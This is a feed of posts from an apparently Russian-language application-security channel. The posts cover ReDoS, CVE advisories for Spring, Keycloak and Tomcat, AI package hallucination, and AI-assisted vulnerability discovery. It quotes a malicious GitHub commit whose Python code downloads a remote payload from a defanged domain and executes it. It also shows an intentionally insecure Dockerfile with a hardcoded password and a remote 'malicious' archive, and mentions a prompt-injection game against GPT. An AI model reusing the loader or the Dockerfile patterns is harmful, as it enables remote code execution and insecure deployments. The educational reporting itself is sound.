ReDoS - как одним словом положить бэк

Семейство Denial of Service уязвимостей довольно широкое, но обычно под ним подразумевают либо уязвимости ПО (чаще всего - обработки сетевых пакетов веб-серверами), решающиеся своевременным обновлением, либо Distributed Denial of Service, DDoS, защита от которого очень специфична.

О еще одном типе DоS'ов говорят реже - это DoS на основе регулярных выражений, его же зачастую относят к классу Self-атак. Это большая боль большинства интерпретируемых языков, но встречались подобные проблемы и в старых версиях Java, и в некоторых .net библиотеках.
Суть заключается в том, что злоумышленник может подсунуть "слово", которое при проверке по регулярному выражению приведет к построению очень глубокого дерева и к исчерпанию ресурсов. Короткая статья с объяснением.
Инструмент, проверяющий безопасность регулярки

форвардну в свой нереально огромный канал для истории. Буду спикером на KazHackStan, буду говорить, как всегда, про отношения и про то, что безопасность тоже не должна терять человеческое лицо и быть удобной к использованию

Татьяна Коршикова - DevSecOps инженер QazCode, энтузиаст AppSec-практик и любитель почитать чужой (уязвимый) код⚡️

Тема доклада: А про ИБ ли Appsec?
📍Главная сцена

Продать товар покупателю, который понимает, что он ему нужен, но категорически не хочет использовать - звучит сложно? А что если посмотреть на продуктовую безопасность со стороны разработки? Удастся ли нам убедить клиентов в том, что им это понравится?

Слушатели доклада смогут вместе с Татьяной обсудить на примере нескольких разных кейсов, как сегодня эффективно провернуть подобное в Казахстанском IT.

📆 11-13 сентября
📍 Rixos Almaty  

Вход: бесплатный
Обязательная регистрация на сайте 👉🏼 kazhackstan.com

Готовлю презентацию на OpenSysConf'24. В одном из разделов буду говорить про то, что анализировать можно не только код приложения, но и многие вещи рядом, например, Dockerfile. В качестве примера привожу вот такого красавчика, в котором прекрасно все. Его прообраз, кстати, взят из реальной практики, правда, на старте содержал 97 строк и был в гораздо более пугающей форме.

UPD. Я вижу здесь 10 проблем безопасности. Кто больше?)

FROM python:3.4

RUN apt-get update && apt-get install -y curl vim git gcc make

COPY . /app

RUN chmod -R 777 /app

ENV DB_PASSWORD=SuperSecretPassword123

EXPOSE 80 443 3306 5432

ADD https://example.com/malicious-file.tar.gz /app/

RUN pip install --no-cache-dir -r /app/requirements.txt

CMD ["python", "/app/app.py"]

Сложно разобраться со своим отношением к ситуации. Но в последнее время GitLab страшно зачастили с обновлениями. Не успели поставить апдейт на прошлой неделе, как на этой прилетает уже следующий, причем критический (Вот тут)

Но при этом у них фактически выполняется SLA на критикал апдейты меньше чем в семь дней.

Классическая проблема безопасности: что лучше - когда ее не видно и не слышно или когда каждую неделю апдейты систем прилетают.

Скоро выступаю на еще одной крутой конференции, на которую давно хотела попасть и не выходило. Поговорим про то, почему в Open(Secure)Source так важно присутствие Secure части и как ее обеспечить, если вы - начинающий контрибьютор. Хотя бы частично)

Path Traversal в Spring Boot - CVE-2024-38816
Приложения, отдающие статические ресурсы через WebMvc.fn или WebFlux.fn подвержены атаке типа Path Traversal. Атакующий может создать вредоносный HTTP запрос и получить любой файл в файловой системе, который доступен процессу, от имени которого запущено Spring приложение.

Приложение уязвимо, если выполнены ОБА следующих условия:
- приложение использует RouterFunctions для поставки статических ресурсов
- обработка ресурсво сконфигурирована так, что в качестве location используется FileSystemResource

Однако вредоносные запросы блокируются и отбиваются, если выполнено что-то из следующего:
- используется Spring Security HTTP Firewall
- приложение запущено на Tomcat или Jetty
Path Traversal - одна из самых простых в эксплуатации атак. И несмотря на обычно малый импакт, может привести к серьезному раскрытию данных.

CVSS(критичность): 7.5

Уязвимые версии: 5.3.0 - 5.3.39, 6.0.0 - 6.0.23, 6.1.0 - 6.1.12 и более старые неподдерживаемые версии

Патчи: 5.3.40, 6.0.24, 6.1.13

#pathtraversal #spring


Посыпаю голову пеплом - уязвимости уже пара недель и написать про нее было нужно давно, потому что про уязвимости непосредственно связанного с Java доводится писать редко. Не критичная сама по себе, может сыграть довольно плохую роль в цепочке развития атаки.

Сегодня пришлось поразбираться еще с одной около-Java уязвимостью - CVE-2024-8698, байпасс аутентификационного механизма SAML в популярном продукте Keycloak.

Уязвимости разного рода критичности в Keycloak обнаруживают регулярно и самой частой проблемой является Open Redirect, который служит хорошей основой для фишинга (и такая уязвимость на этой неделе на него тоже была опубликована, CVE-2024-8883). Но на этот раз более критичной оказалась проблема аутентификации при использовании SAML(Security Assertion Markup Language).

Уязвимость обнаружена в классе XMLSignatureUtil, который отвечает за проверку подписей SAML. Класс неправильно определяет, распространяется ли подпись на весь документ SAML или только на отдельные его части, основываясь исключительно на позиции подписи в структуре XML. Из-за этого специальным образом созданный запрос может заставить Keycloak пропустить важный элемент «Reference», который явно указывает, какая часть документа была подписана. Подробнее можно посмотреть в самом коде

Опубликованных PoC'ов нет, как и информации об эксплуатации, но и сама атака должна быть довольно специфической и технически сложной. Однако высокий CVSS в 7.7 свидетельствует о том, что игнорировать ее все же не стоит.

CVE-2024-38286 - OutOfMemoryError в Tomcat

Java-продуктам досталось за последние пару-тройку недель.

В Tomcat было обнаружено две уязвимости, потенциально приводящих к Denial of Service и проявляющихся в виде OutOfMemoryError падения, либо в исчерпании потоков работы с HTTP/2 за счет незакрытия соединений.
OutOfMemoryError связан с некорректной обработкой TLS handshake, патч добавляет константу HANDSHAKE_WRAP_QUEUE_LENGTH_LIMIT и проверяет состояние очереди на непреодоление ее значения.

Проблема в том, что зачастую уязвимости типа OutOfMemoryError (и в принципе многие уязвимости, связанные с переполнением) далее раскручиваются и приводят к удаленному исполнению кода. Неизвестно, будет ли так в этом случае, но даже падение сервера с одного хэндшейка - уже история неприятная.

CVSS(критичность): 7.5

Уязвимые версии: Apache Tomcat 11.0.0-M1 - 11.0.0-M20, 10.1.0-M1 to 10.1.24, 9.0.13 to 9.0.89

Патчи: 11.0.0-M21, 10.1.25, 9.0.90

Хотим с бигдатерами потренироваться немного в безопасной разработке. Но обычных классических уязвимостей им мало, им свое подавай.

Нашла прикольную игрушку - https://gpa.43z.one/. Попытайтесь с помощью Prompt Injection выманить у GPT секретный ключ самым коротким запросом. Аж 21 левел!

Сразу про две уязвимости в Spring!

☄️CVE-2024-38819

Уязвимость Path traversal в веб-фреймворках WebMvc.fn и WebFlux.fn приводит к возможности создания вредоносного http запроса, позволяющего получить произвольный файл в операционной системе, к которому есть доступ у процесса Spring-приложения.

Уязвимость очень похожа на вышедшую месяцем ранее CVE-2024-38816, но немного отличается вектором.

Уязвимые версии фреймворка Spring: 5.3.0 - 5.3.40, 6.0.0 - 6.0.24, 6.1.0 - 6.1.13, неподдерживаемые устаревшие версии также уязвимы.

Патч для опенсорсной версии: 6.1.14
Патч при enterprise support: 5.3.41, 6.0.25

Критичность CVSS 4.0: 8.7 (CVSS 3.1: 7.5)

https://spring.io/security/cve-2024-38819




☄️Обход авторизации на доступ к статическим ресурсам в WebFlux приложениях

Правила авторизации Spring Security для доступа к статическим ресурсам, используемые в приложения Spring WebFlux, можно обойти при определенных обстоятельствах. Для успешной эксплуатации уязвимости должно быть выполнено следующее:

1. WebFlux приложение
2. Используется поддержка Spring для статических ресурсов
3. Выставлены правила для доступа к статическим ресурсам, отличные от permitAll


Уязвимые версии фреймворка Spring: 5.7.0 - 5.7.12, 5.8.0-5.8.14, 6.0.0 - 6.0.12, 6.1.0 - 6.1.10, 6.2.0 - 6.2.6, 6.3.0 - 6.3.3, неподдерживаемые устаревшие версии также уязвимы.

Патч для опенсорсной версии: 6.2.7, 6.3.4
Патч при enterprise support: 5.7.13, 5.8.15, 6.0.13, 6.1.11

Критичность CVSS 3.1: 8.8

https://spring.io/security/cve-2024-38821

AI Package Hallucination

Годовой давности статья, которая поднимает вопрос того, можно ли полагаться на код, сгенерированный ИИ.
Исследователи распарсили вопросы со StackOverflow, которые так и остались без ответа, и на основе их собрали базу запросов для ChatGPT. Уточнили эти вопросы, дополнив деталями и просьбой подсказать библиотеку, решающую ту или иную задачу, и задали их боту. Затем проверили полученные ответы, выбрали те из них, которые являются галлюцинациями, и насобирали порядка 150 имен библиотек, которых не существует в природе и которые рекомендует ChatGPT к использованию. И единственный шаг, который осталось сделать, -- зарегать библиотеки с такими же именами и с вредоносной нагрузкой.

Красиво, массово, легко реализуется, ничего нового. Последствия могут быть потенциально катастрофическими, ведь даже typosquatting, впервые массово реализованный Тчачером в рамках курсовой работы студента, имел весьма широкий эффект.

На всякий случай напоминаю - полагаться на ИИ как на авторитет не стоит ни в каких задачах.

https://vulcan.io/blog/ai-hallucinations-package-risk

Про стажеров, логи и сроки

Ходят разные интересные ⁠⁠слухи про ByteDance, владельцев популярного продукта TikTok. Якобы один из стажеров на протяжении двух месяцев целенаправленно саботировал процесс обучения модели разрабатываемого генеративного AI, периодически осуществляя инъекции кода (проще говоря, рассылая вирусы) на серверах, где тренируется система, а также вмешиваясь в работу GPU. При этом парень посещал мероприятия с разбором инцидентов, делая вид, что не понимает, как же такое могло произойти.

И только в рамках расследования (как хорошо, что они пишут логи!) удалось доказать его вину, которую он в итоге признал.

Однако ущерб оценивается источниками как приближающийся к 10 миллионам $. Ну и проигрышу в гонке ИИ, которая сейчас развернулась между крупными участниками сферы в Китае.

Правда, сами ByteDance ⁠утверждают, что ущерб был значительно меньше и история сильно раздута, однако многие независимые эксперты высказывают скепсис на этот счет.

Но как же важно вести логи, правильно их обрабатывать и вовремя реагировать. Даже во внутренних системах.

Канал не про ИИ, но от него никуда не деться


Как многие аппсеки, с интересом наблюдаю, что происходит на стыке задач поиска уязвимостей в коде и ИИ. И уже появилось несколько интересных примеров. Но сегодня попалась статья о совместном творении Google project zero и DeepMind. И как всегда у первых, статья с хорошим описанием обнаруженной уязвимости и техническими подробностями, что, почему и как.
С помощью агента Big Sleep им удалось найти уязвимость в SQLite, приводящую к ошибкам памяти. А это такой класс уязвимостей, который потенциально может оказаться очень серьезной проблемой уровня "отстрелить не ногу, а мозг через глаз". В статье они приводят не только описание процесса поиска, но и исследование того, можно ли было найти подробную проблему старым-добрым фаззингом. Спойлер: в общем, скорее нельзя, если не знать о ней заранее.

Мысли об LLM анализаторе кода очень сильно греют надеждой на расширение возможностей SAST для поиска, скажем, логических уязвимостей. А если ещё и RAG и можно скормить ТЗ, то вдруг и IDOR найдет🤯. Ждём новостей.

Еще один удар по Open Source

Атаками на проекты в GitHub в последнее время никого особо не шокируешь, но все же попадаются интересные случаи. На прошлой неделе досталось репозиторию стартапа в области AI и ML - Exo Labs, о чем рассказал его CEO в твиттере. Код вредоносного коммита выглядел "невинно" (по словам Alex Cheema), подпись к пулл реквесту ("clarify mlx requirement for deepseek models") особых вопросов не вызвала. По сути в коммите в URL-encode присутствовал следующий код:

import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

Казалось бы, неудачная попытка вложить закладку? особенно с учетом отсутствия stage1payload по указанному адресу. Но все немного интереснее: аккаунт, с которого был сделан PR, естественно, уже не существует, но вот домен принадлежит вполне себе реальному исследователю безопасности, который свою причастность к атаке отрицает.
Но дальше начинается самое интересное - аналогичные коммиты, содержащие тот же самый байткод, от разных пользователей были осуществлены в как минимум 18 разных проектов, в том числе, проекты с десятками тысяч звезд.

Не до конца понятная история, было это неуспешной атакой или успешным прикрытием чего-то другого - пока неясно. Но вот важность code-review еще раз подчеркнуть хотелось бы. Разумеется, нашлись энтузиасты, которые проверили, как отработали бы в этой ситуации ИИ инструменты для ревью, и они отработали хорошо. Но ложных надежд лучше не питать.

когда думаешь, что в телеграме рассадник ботов со всяким непотребством, а потом заходишь в gitter комнату Spring Security

Хорошая статья про то, как можно запороть аутентификацию. Многие из описанных проблем настолько очевидно-невероятные, что люди прям искренне удивляются, когда такие проблемы обнаруживаются в их продуктах

https://blog.intigriti.com/hacking-tools/broken-authentication-a-complete-guide-to-exploiting-advanced-authentication-vulnerabilities

На тренингах по моделированию угроз мы с командами разработки обычно разбираем какую-то одну фичу очень детально, со всех сторон прикидывая, что может пойти не так. И довольно часто это задача аплоада картинки в аватар пользователя. И, как это обычно бывает, взгляд разработчика на фичу сильно отличается от взгляда атакующего.

У intigriti вышла еще одна классная статья как раз про то, как обходить те ограничения, которые обычно призваны защитить функционал загрузки файлов. В статье есть не все подходы, но она интересна как раз демонстрацией того, что может и будет пытаться делать злоумышленник.

https://blog.intigriti.com/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities

TOCTOU Race Condition - Apache Tomcat

Классный тип уязвимостей - уязвимости, возникающие на гонках. Race Condition сложнее поймать, сложнее протестировать, сложнее отдебажить. Да и исправление зачастую приводит к уменьшению производительности. Однако уязвимости, возникающие при неправильном контроле зашаренных ресурсов, бывают очень любопытные. Как, например, свежая RCE в Tomcat.

Более конкретное название этой уязвимости - Time-of-check Time-of-use (TOCTOU) Race Condition. Происходит такой тип проблемы, когда есть проверка состояния какого-то параметра и его дальнейшее использование должно быть завязано на результат этой проверки. В случае с Apache Tomcat злоумышленнику для успешной атаки нужно стриггерить процесс проверки метаданных файла, а затем успеть подменить файл вредоносным с таким же именем, но в другом регистре, пока проверка еще не закончена. А с учетом того, что уязвимость в процессе компиляции JSP, то привести это может к удаленному исполнению кода.

Несмотря на высокую оценку CVSS уязвимость, вероятно, не будет иметь очень большого распространения, т.к. сработает это только на системах, нечувствительных к регистру, а также при разрешении на запись на дефолтном сервлете, что не является настройкой по умолчанию.

Исправлена уязвимость была добавлением класса ResourceLock и методов, имплементирующих исключительную блокировку при обращении к файлам.


Уязвимые версии:
- Apache Tomcat 11.0.0-M1 through 11.0.1
- Apache Tomcat 10.1.0-M1 through 10.1.33
- Apache Tomcat 9.0.0.M1 through 9.0.97


Патчи: 11.0.2, 10.1.34 или 9.0.98

CVSS: 9.8 (CVSS v3.x)

Подробнее: https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

Код патча доступен здесь , но первая версия была сама с багом, потребовалось еще дополнение